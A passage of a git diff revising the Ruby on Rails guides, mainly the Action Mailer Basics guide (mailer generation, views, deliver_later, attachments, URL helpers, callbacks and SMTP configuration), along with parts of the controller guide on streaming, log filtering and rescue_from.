|line| + response.stream.write line.lyrics + sleep line.num_beats + end + ensure + response.stream.close + end +end +``` + +The above code sends the next line only after the singer has completed the previous +line. + +#### Streaming Considerations + +Streaming arbitrary data is an extremely powerful tool. As shown in the previous +examples, you can choose when and what to send across a response stream. However, +you should also note the following things: + +* Each response stream creates a new thread and copies over the thread local + variables from the original thread. Having too many thread local variables can + negatively impact performance. Similarly, a large number of threads can also + hinder performance. +* Failing to close the response stream will leave the corresponding socket open + forever. Make sure to call `close` whenever you are using a response stream. +* WEBrick servers buffer all responses, and so including `ActionController::Live` + will not work. You must use a web server which does not automatically buffer + responses. + Log Filtering ------------- @@ -758,7 +1085,7 @@ Rails keeps a log file for each environment in the `log` folder. These are extre ### Parameters Filtering -You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log. +You can filter out sensitive request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log. ```ruby config.filter_parameters << :password @@ -766,7 +1093,7 @@ config.filter_parameters << :password ### Redirects Filtering -Sometimes it's desirable to filter out from log files some sensible locations your application is redirecting to. +Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to. You can do that by using the `config.filter_redirect` configuration option: ```ruby @@ -806,9 +1133,9 @@ class ApplicationController < ActionController::Base private - def record_not_found - render text: "404 Not Found", status: 404 - end + def record_not_found + render plain: "404 Not Found", status: 404 + end end ``` @@ -820,10 +1147,10 @@ class ApplicationController < ActionController::Base private - def user_not_authorized - flash[:error] = "You don't have access to this section." - redirect_to :back - end + def user_not_authorized + flash[:error] = "You don't have access to this section." + redirect_to :back + end end class ClientsController < ApplicationController @@ -837,13 +1164,15 @@ class ClientsController < ApplicationController private - # If the user is not authorized, just throw the exception. - def check_authorization - raise User::NotAuthorized unless current_user.admin? - end + # If the user is not authorized, just throw the exception. + def check_authorization + raise User::NotAuthorized unless current_user.admin? + end end ``` +WARNING: You shouldn't do `rescue_from Exception` or `rescue_from StandardError` unless you have a particular reason as it will cause serious side-effects (e.g. you won't be able to see exception details and tracebacks during development). + NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information. Force HTTPS protocol diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md index 795afd0150..c586675ee5 100644 --- a/guides/source/action_mailer_basics.md +++ b/guides/source/action_mailer_basics.md @@ -1,7 +1,11 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Action Mailer Basics ==================== -This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers. +This guide provides you with all you need to get started in sending and +receiving emails from and to your application, and many internals of Action +Mailer. It also covers how to test your mailers. After reading this guide, you will know: @@ -9,67 +13,110 @@ After reading this guide, you will know: * How to generate and edit an Action Mailer class and mailer view. * How to configure Action Mailer for your environment. * How to test your Action Mailer classes. + -------------------------------------------------------------------------------- Introduction ------------ -Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from `ActionMailer::Base` and live in `app/mailers`. Those mailers have associated views that appear alongside controller views in `app/views`. +Action Mailer allows you to send emails from your application using mailer classes +and views. Mailers work very similarly to controllers. They inherit from +`ActionMailer::Base` and live in `app/mailers`, and they have associated views +that appear in `app/views`. Sending Emails -------------- -This section will provide a step-by-step guide to creating a mailer and its views. +This section will provide a step-by-step guide to creating a mailer and its +views. ### Walkthrough to Generating a Mailer #### Create the Mailer ```bash -$ rails generate mailer UserMailer +$ bin/rails generate mailer UserMailer create app/mailers/user_mailer.rb +create app/mailers/application_mailer.rb invoke erb create app/views/user_mailer +create app/views/layouts/mailer.text.erb +create app/views/layouts/mailer.html.erb invoke test_unit create test/mailers/user_mailer_test.rb +create test/mailers/previews/user_mailer_preview.rb +``` + +```ruby +# app/mailers/application_mailer.rb +class ApplicationMailer < ActionMailer::Base + default from: "from@example.com" + layout 'mailer' +end + +# app/mailers/user_mailer.rb +class UserMailer < ApplicationMailer +end ``` -So we got the mailer, the views, and the tests. +As you can see, you can generate mailers just like you use other generators with +Rails. Mailers are conceptually similar to controllers, and so we get a mailer, +a directory for views, and a test. + +If you didn't want to use a generator, you could create your own file inside of +app/mailers, just make sure that it inherits from `ActionMailer::Base`: + +```ruby +class MyMailer < ActionMailer::Base +end +``` #### Edit the Mailer +Mailers are very similar to Rails controllers. They also have methods called +"actions" and use views to structure the content. Where a controller generates +content like HTML to send back to the client, a Mailer creates a message to be +delivered via email. + `app/mailers/user_mailer.rb` contains an empty mailer: ```ruby -class UserMailer < ActionMailer::Base - default from: 'from@example.com' +class UserMailer < ApplicationMailer end ``` -Let's add a method called `welcome_email`, that will send an email to the user's registered email address: +Let's add a method called `welcome_email`, that will send an email to the user's +registered email address: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer default from: 'notifications@example.com' def welcome_email(user) @user = user @url = 'http://example.com/login' - mail(to: user.email, subject: 'Welcome to My Awesome Site') + mail(to: @user.email, subject: 'Welcome to My Awesome Site') end end ``` -Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section. +Here is a quick explanation of the items presented in the preceding method. For +a full list of all available options, please have a look further down at the +Complete List of Action Mailer user-settable attributes section. -* `default Hash` - This is a hash of default values for any email you send, in this case we are setting the `:from` header to a value for all messages in this class, this can be overridden on a per email basis -* `mail` - The actual email message, we are passing the `:to` and `:subject` headers in. +* `default Hash` - This is a hash of default values for any email you send from +this mailer. In this case we are setting the `:from` header to a value for all +messages in this class. This can be overridden on a per-email basis. +* `mail` - The actual email message, we are passing the `:to` and `:subject` +headers in. -Just like controllers, any instance variables we define in the method become available for use in the views. +Just like controllers, any instance variables we define in the method become +available for use in the views. #### Create a Mailer View -Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This will be the template used for the email, formatted in HTML: +Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This +will be the template used for the email, formatted in HTML: ```html+erb <!DOCTYPE html> @@ -81,7 +128,7 @@ Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This <h1>Welcome to example.com, <%= @user.name %></h1> <p> You have successfully signed up to example.com, - your username is: <%= @user.login %>.<br/> + your username is: <%= @user.login %>.<br> </p> <p> To login to the site, just follow this link: <%= @url %>. @@ -91,7 +138,9 @@ Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This </html> ``` -It is also a good idea to make a text part for this email. To do this, create a file called `welcome_email.text.erb` in `app/views/user_mailer/`: +Let's also make a text part for this email. Not all clients prefer HTML emails, +and so sending both is best practice. To do this, create a file called +`welcome_email.text.erb` in `app/views/user_mailer/`: ```erb Welcome to example.com, <%= @user.name %> @@ -105,22 +154,32 @@ To login to the site, just follow this link: <%= @url %>. Thanks for joining and have a great day! ``` -When you call the `mail` method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a `multipart/alternative` email. +When you call the `mail` method now, Action Mailer will detect the two templates +(text and HTML) and automatically generate a `multipart/alternative` email. -#### Wire It Up So That the System Sends the Email When a User Signs Up +#### Calling the Mailer -There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created. +Mailers are really just another way to render a view. Instead of rendering a +view and sending out the HTTP protocol, they are just sending it out through the +email protocols instead. Due to this, it makes sense to just have your +controller tell the Mailer to send an email when a user is successfully created. Setting this up is painfully simple. -First off, we need to create a simple `User` scaffold: +First, let's create a simple `User` scaffold: ```bash -$ rails generate scaffold user name:string email:string login:string -$ rake db:migrate +$ bin/rails generate scaffold user name email login +$ bin/rake db:migrate ``` -Now that we have a user model to play with, we will just edit the `app/controllers/users_controller.rb` make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to `UserMailer.welcome_email` right after the user is successfully saved: +Now that we have a user model to play with, we will just edit the +`app/controllers/users_controller.rb` make it instruct the `UserMailer` to deliver +an email to the newly created user by editing the create action and inserting a +call to `UserMailer.welcome_email` right after the user is successfully saved. + +Action Mailer is nicely integrated with Active Job so you can send emails outside +of the request-response cycle, so the user doesn't have to wait on it: ```ruby class UsersController < ApplicationController @@ -131,8 +190,8 @@ class UsersController < ApplicationController respond_to do |format| if @user.save - # Tell the UserMailer to send a welcome Email after save - UserMailer.welcome_email(@user).deliver + # Tell the UserMailer to send a welcome email after save + UserMailer.welcome_email(@user).deliver_later format.html { redirect_to(@user, notice: 'User was successfully created.') } format.json { render json: @user, status: :created, location: @user } @@ -145,78 +204,94 @@ class UsersController < ApplicationController end ``` -This provides a much simpler implementation that does not require the registering of observers and the like. - -The method `welcome_email` returns a `Mail::Message` object which can then just be told `deliver` to send itself out. - -### Auto encoding header values - -Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies. - -If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. - -For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library. - -### Complete List of Action Mailer Methods +NOTE: Active Job's default behavior is to execute jobs ':inline'. So, you can use +`deliver_later` now to send emails, and when you later decide to start sending +them from a background job, you'll only need to set up Active Job to use a queueing +backend (Sidekiq, Resque, etc). -There are just three methods that you need to send pretty much any email message: +If you want to send emails right away (from a cronjob for example) just call +`deliver_now`: -* `headers` - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call `headers[:field_name] = 'value'`. -* `attachments` - Allows you to add attachments to your email. For example, `attachments['file-name.jpg'] = File.read('file-name.jpg')`. -* `mail` - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined. - -#### Custom Headers - -Defining custom headers are simple, you can do it one of three ways: +```ruby +class SendWeeklySummary + def run + User.find_each do |user| + UserMailer.weekly_summary(user).deliver_now + end + end +end +``` -* Defining a header field as a parameter to the `mail` method: +The method `welcome_email` returns a `ActionMailer::MessageDelivery` object which +can then just be told `deliver_now` or `deliver_later` to send itself out. The +`ActionMailer::MessageDelivery` object is just a wrapper around a `Mail::Message`. If +you want to inspect, alter or do anything else with the `Mail::Message` object you can +access it with the `message` method on the `ActionMailer::MessageDelivery` object. - ```ruby - mail('X-Spam' => value) - ``` +### Auto encoding header values -* Passing in a key value assignment to the `headers` method: +Action Mailer handles the auto encoding of multibyte characters inside of +headers and bodies. - ```ruby - headers['X-Spam'] = value - ``` +For more complex examples such as defining alternate character sets or +self-encoding text first, please refer to the +[Mail](https://github.com/mikel/mail) library. -* Passing a hash of key value pairs to the `headers` method: +### Complete List of Action Mailer Methods - ```ruby - headers {'X-Spam' => value, 'X-Special' => another_value} - ``` +There are just three methods that you need to send pretty much any email +message: -TIP: All `X-Value` headers per the RFC2822 can appear more than once. If you want to delete an `X-Value` header, you need to assign it a value of `nil`. +* `headers` - Specifies any header on the email you want. You can pass a hash of + header field names and value pairs, or you can call `headers[:field_name] = + 'value'`. +* `attachments` - Allows you to add attachments to your email. For example, + `attachments['file-name.jpg'] = File.read('file-name.jpg')`. +* `mail` - Sends the actual email itself. You can pass in headers as a hash to + the mail method as a parameter, mail will then create an email, either plain + text, or multipart, depending on what email templates you have defined. #### Adding Attachments -Adding attachments has been simplified in Action Mailer 3.0. +Action Mailer makes it very easy to add attachments. -* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment. +* Pass the file name and content and Action Mailer and the + [Mail gem](https://github.com/mikel/mail) will automatically guess the + mime_type, set the encoding and create the attachment. ```ruby attachments['filename.jpg'] = File.read('/path/to/filename.jpg') ``` -NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a `Hash` to the `attachments` method. + When the `mail` method will be triggered, it will send a multipart email with + an attachment, properly nested with the top level being `multipart/mixed` and + the first part being a `multipart/alternative` containing the plain text and + HTML email messages. + +NOTE: Mail will automatically Base64 encode an attachment. If you want something +different, encode your content and pass in the encoded content and encoding in a +`Hash` to the `attachments` method. -* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in. +* Pass the file name and specify headers and content and Action Mailer and Mail + will use the settings you pass in. ```ruby encoded_content = SpecialEncode(File.read('/path/to/filename.jpg')) - attachments['filename.jpg'] = {mime_type: 'application/x-gzip', - encoding: 'SpecialEncoding', - content: encoded_content } + attachments['filename.jpg'] = { + mime_type: 'application/x-gzip', + encoding: 'SpecialEncoding', + content: encoded_content + } ``` -NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it. +NOTE: If you specify an encoding, Mail will assume that your content is already +encoded and not try to Base64 encode it. #### Making Inline Attachments Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. -* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer: +* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer: ```ruby def welcome @@ -224,7 +299,9 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p end ``` -* Then in your view, you can just reference `attachments[]` as a hash and specify which attachment you want to show, calling `url` on it and then passing the result into the `image_tag` method: +* Then in your view, you can just reference `attachments` as a hash and specify + which attachment you want to show, calling `url` on it and then passing the + result into the `image_tag` method: ```html+erb <p>Hello there, this is our image</p> @@ -232,18 +309,21 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p <%= image_tag attachments['image.jpg'].url %> ``` -* As this is a standard call to `image_tag` you can pass in an options hash after the attachment URL as you could for any other image: +* As this is a standard call to `image_tag` you can pass in an options hash + after the attachment URL as you could for any other image: ```html+erb <p>Hello there, this is our image</p> - <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', - class: 'photos' %> + <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %> ``` #### Sending Email To Multiple Recipients -It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the `:to` key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. +It is possible to send email to one or more recipients in one email (e.g., +informing all admins of a new signup) by setting the list of emails to the `:to` +key. The list of emails can be an array of email addresses or a single string +with the addresses separated by commas. ```ruby class AdminMailer < ActionMailer::Base @@ -257,35 +337,41 @@ class AdminMailer < ActionMailer::Base end ``` -The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively. +The same format can be used to set carbon copy (Cc:) and blind carbon copy +(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively. #### Sending Email With Name -Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is -to format the email address in the format `"Name <email>"`. +Sometimes you wish to show the name of the person instead of just their email +address when they receive the email. The trick to doing that is to format the +email address in the format `"Full Name <email>"`. ```ruby def welcome_email(user) @user = user - email_with_name = "#{@user.name} <#{@user.email}>" + email_with_name = %("#{@user.name}" <#{@user.email}>) mail(to: email_with_name, subject: 'Welcome to My Awesome Site') end ``` ### Mailer Views -Mailer views are located in the `app/views/name_of_mailer_class` directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the `welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` for the HTML version and `welcome_email.text.erb` for the plain text version. +Mailer views are located in the `app/views/name_of_mailer_class` directory. The +specific mailer view is known to the class because its name is the same as the +mailer method. In our example from above, our mailer view for the +`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` +for the HTML version and `welcome_email.text.erb` for the plain text version. To change the default mailer view for your action you do something like: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer default from: 'notifications@example.com' def welcome_email(user) @user = user @url = 'http://example.com/login' - mail(to: user.email, + mail(to: @user.email, subject: 'Welcome to My Awesome Site', template_path: 'notifications', template_name: 'another') @@ -293,47 +379,57 @@ class UserMailer < ActionMailer::Base end ``` -In this case it will look for templates at `app/views/notifications` with name `another`. You can also specify an array of paths for `template_path`, and they will be searched in order. +In this case it will look for templates at `app/views/notifications` with name +`another`. You can also specify an array of paths for `template_path`, and they +will be searched in order. -If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file: +If you want more flexibility you can also pass a block and render specific +templates or even render inline or text without using a template file: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer default from: 'notifications@example.com' def welcome_email(user) @user = user @url = 'http://example.com/login' - mail(to: user.email, + mail(to: @user.email, subject: 'Welcome to My Awesome Site') do |format| format.html { render 'another_template' } format.text { render text: 'Render text' } end end - end ``` -This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as `:text`, `:inline` etc. +This will render the template 'another_template.html.erb' for the HTML part and +use the rendered text for the text part. The render command is the same one used +inside of Action Controller, so you can use all the same options, such as +`:text`, `:inline` etc. ### Action Mailer Layouts -Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as `user_mailer.html.erb` and `user_mailer.text.erb` to be automatically recognized by your mailer as a layout. +Just like controller views, you can also have mailer layouts. The layout name +needs to be the same as your mailer, such as `user_mailer.html.erb` and +`user_mailer.text.erb` to be automatically recognized by your mailer as a +layout. -In order to use a different file just use: +In order to use a different file, call `layout` in your mailer: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer layout 'awesome' # use awesome.(html|text).erb as the layout end ``` -Just like with controller views, use `yield` to render the view inside the layout. +Just like with controller views, use `yield` to render the view inside the +layout. -You can also pass in a `layout: 'layout_name'` option to the render call inside the format block to specify different layouts for different actions: +You can also pass in a `layout: 'layout_name'` option to the render call inside +the format block to specify different layouts for different formats: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer def welcome_email(user) mail(to: user.email) do |format| format.html { render layout: 'my_layout' } @@ -343,13 +439,44 @@ class UserMailer < ActionMailer::Base end ``` -Will render the HTML part using the `my_layout.html.erb` file and the text part with the usual `user_mailer.text.erb` file if it exists. +Will render the HTML part using the `my_layout.html.erb` file and the text part +with the usual `user_mailer.text.erb` file if it exists. ### Generating URLs in Action Mailer Views -URLs can be generated in mailer views using `url_for` or named routes. +Unlike controllers, the mailer instance doesn't have any context about the +incoming request so you'll need to provide the `:host` parameter yourself. + +As the `:host` usually is consistent across the application you can configure it +globally in `config/application.rb`: + +```ruby +config.action_mailer.default_url_options = { host: 'example.com' } +``` + +Because of this behavior you cannot use any of the `*_path` helpers inside of +an email. Instead you will need to use the associated `*_url` helper. For example +instead of using + +``` +<%= link_to 'welcome', welcome_path %> +``` + +You will need to use: + +``` +<%= link_to 'welcome', welcome_url %> +``` + +By using the full URL, your links will now work in your emails. + +#### generating URLs with `url_for` + +`url_for` generate full URL by default in templates. + +If you did not configure the `:host` option globally make sure to pass it to +`url_for`. -Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the `:host`, `:controller`, and `:action`: ```erb <%= url_for(host: 'example.com', @@ -357,57 +484,65 @@ Unlike controllers, the mailer instance doesn't have any context about the incom action: 'greeting') %> ``` -When using named routes you only need to supply the `:host`: +#### generating URLs with named routes -```erb -<%= user_url(@user, host: 'example.com') %> -``` +Email clients have no web context and so paths have no base URL to form complete +web addresses. Thus, you should always use the "_url" variant of named route +helpers. -Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense. +If you did not configure the `:host` option globally make sure to pass it to the +url helper. -It is also possible to set a default host that will be used in all mailers by setting the `:host` option as a configuration option in `config/application.rb`: - -```ruby -config.action_mailer.default_url_options = { host: 'example.com' } +```erb +<%= user_url(@user, host: 'example.com') %> ``` -If you use this setting, you should pass the `only_path: false` option when using `url_for`. This will ensure that absolute URLs are generated because the `url_for` view helper will, by default, generate relative URLs when a `:host` option isn't explicitly provided. - ### Sending Multipart Emails -Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have `welcome_email.text.erb` and `welcome_email.html.erb` in `app/views/user_mailer`, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. +Action Mailer will automatically send multipart emails if you have different +templates for the same action. So, for our UserMailer example, if you have +`welcome_email.text.erb` and `welcome_email.html.erb` in +`app/views/user_mailer`, Action Mailer will automatically send a multipart email +with the HTML and text versions setup as different parts. -The order of the parts getting inserted is determined by the `:parts_order` inside of the `ActionMailer::Base.default` method. +The order of the parts getting inserted is determined by the `:parts_order` +inside of the `ActionMailer::Base.default` method. -### Sending Emails with Attachments +### Sending Emails with Dynamic Delivery Options -Attachments can be added by using the `attachments` method: +If you wish to override the default delivery options (e.g. SMTP credentials) +while delivering emails, you can do this using `delivery_method_options` in the +mailer action. ```ruby -class UserMailer < ActionMailer::Base - def welcome_email(user) +class UserMailer < ApplicationMailer + def welcome_email(user, company) @user = user @url = user_url(@user) - attachments['terms.pdf'] = File.read('/path/terms.pdf') - mail(to: user.email, - subject: 'Please see the Terms and Conditions attached') + delivery_options = { user_name: company.smtp_user, + password: company.smtp_password, + address: company.smtp_host } + mail(to: @user.email, + subject: "Please see the Terms and Conditions attached", + delivery_method_options: delivery_options) end end ``` -The above will send a multipart email with an attachment, properly nested with the top level being `multipart/mixed` and the first part being a `multipart/alternative` containing the plain text and HTML email messages. - -### Sending Emails with Dynamic Delivery Options +### Sending Emails without Template Rendering -If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using `delivery_method_options` in the mailer action. +There may be cases in which you want to skip the template rendering step and +supply the email body as a string. You can achieve this using the `:body` +option. In such cases don't forget to add the `:content_type` option. Rails +will default to `text/plain` otherwise. ```ruby -class UserMailer < ActionMailer::Base - def welcome_email(user,company) - @user = user - @url = user_url(@user) - delivery_options = { user_name: company.smtp_user, password: company.smtp_password, address: company.smtp_host } - mail(to: user.email, subject: "Please see the Terms and Conditions attached", delivery_method_options: delivery_options) +class UserMailer < ApplicationMailer + def welcome_email(user, email_body) + mail(to: user.email, + body: email_body, + content_type: "text/html", + subject: "Already rendered!") end end ``` @@ -415,18 +550,26 @@ end Receiving Emails ---------------- -Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: +Receiving and parsing emails with Action Mailer can be a rather complex +endeavor. Before your email reaches your Rails app, you would have had to +configure your system to somehow forward emails to your app, which needs to be +listening for that. So, to receive emails in your Rails app you'll need to: * Implement a `receive` method in your mailer. -* Configure your email server to forward emails from the address(es) you would like your app to receive to `/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'`. +* Configure your email server to forward emails from the address(es) you would + like your app to receive to `/path/to/app/bin/rails runner + 'UserMailer.receive(STDIN.read)'`. -Once a method called `receive` is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer `receive` instance method. Here's an example: +Once a method called `receive` is defined in any mailer, Action Mailer will +parse the raw incoming email into an email object, decode it, instantiate a new +mailer, and pass the email object to the mailer `receive` instance +method. Here's an example: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer def receive(email) - page = Page.find_by_address(email.to.first) + page = Page.find_by(address: email.to.first) page.emails.create( subject: email.subject, body: email.body @@ -447,17 +590,23 @@ end Action Mailer Callbacks --------------------------- -Action Mailer allows for you to specify a `before_action`, `after_action` and 'around_action'. +Action Mailer allows for you to specify a `before_action`, `after_action` and +`around_action`. -* Filters can be specified with a block or a symbol to a method in the mailer class similar to controllers. +* Filters can be specified with a block or a symbol to a method in the mailer + class similar to controllers. -* You could use a `before_action` to prepopulate the mail object with defaults, delivery_method_options or insert default headers and attachments. +* You could use a `before_action` to populate the mail object with defaults, + delivery_method_options or insert default headers and attachments. -* You could use an `after_action` to do similar setup as a `before_action` but using instance variables set in your mailer action. +* You could use an `after_action` to do similar setup as a `before_action` but + using instance variables set in your mailer action. ```ruby -class UserMailer < ActionMailer::Base - after_action :set_delivery_options, :prevent_delivery_to_guests, :set_business_headers +class UserMailer < ApplicationMailer + after_action :set_delivery_options, + :prevent_delivery_to_guests, + :set_business_headers def feedback_message(business, user) @business = business @@ -472,24 +621,25 @@ class UserMailer < ActionMailer::Base private - def set_delivery_options - # You have access to the mail instance and @business and @user instance variables here - if @business && @business.has_smtp_settings? - mail.delivery_method.settings.merge!(@business.smtp_settings) + def set_delivery_options + # You have access to the mail instance, + # @business and @user instance variables here + if @business && @business.has_smtp_settings? + mail.delivery_method.settings.merge!(@business.smtp_settings) + end end - end - def prevent_delivery_to_guests - if @user && @user.guest? - mail.perform_deliveries = false + def prevent_delivery_to_guests + if @user && @user.guest? + mail.perform_deliveries = false + end end - end - def set_business_headers - if @business - headers["X-SMTPAPI-CATEGORY"] = @business.code + def set_business_headers + if @business + headers["X-SMTPAPI-CATEGORY"] = @business.code + end end - end end ``` @@ -498,28 +648,34 @@ end Using Action Mailer Helpers --------------------------- -Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller. +Action Mailer now just inherits from `AbstractController`, so you have access to +the same generic helpers as you do in Action Controller. Action Mailer Configuration --------------------------- -The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) +The following configuration options are best made in one of the environment +files (environment.rb, production.rb, etc...) | Configuration | Description | |---------------|-------------| -|`template_root`|Determines the base from which template references will be made.| |`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.| -|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>| +|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default `"localhost"` setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>| |`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>| |`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.| -|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.| +|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.| |`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| |`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| |`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).| +For a complete writeup of possible configurations see the +[Configuring Action Mailer](configuring.html#configuring-action-mailer) in +our Configuring Rails Applications guide. + ### Example Action Mailer Configuration -An example would be adding the following to your appropriate `config/environments/$RAILS_ENV.rb` file: +An example would be adding the following to your appropriate +`config/environments/$RAILS_ENV.rb` file: ```ruby config.action_mailer.delivery_method = :sendmail @@ -530,19 +686,20 @@ config.action_mailer.delivery_method = :sendmail # } config.action_mailer.perform_deliveries = true config.action_mailer.raise_delivery_errors = true -config.action_mailer.default_options = {from: 'no-replay@example.org'} +config.action_mailer.default_options = {from: 'no-reply@example.com'} ``` -### Action Mailer Configuration for GMail +### Action Mailer Configuration for Gmail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file: +As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this +becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file: ```ruby config.action_mailer.delivery_method = :smtp config.action_mailer.smtp_settings = { address: 'smtp.gmail.com', port: 587, - domain: 'baci.lindsaar.net', + domain: 'example.com', user_name: '<username>', password: '<password>', authentication: 'plain', @@ -552,26 +709,36 @@ config.action_mailer.smtp_settings = { Mailer Testing -------------- -By default Action Mailer does not send emails in the test environment. They are just added to the `ActionMailer::Base.deliveries` array. +You can find detailed instructions on how to test your mailers in the +[testing guide](testing.html#testing-your-mailers). + +Intercepting Emails +------------------- -Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we 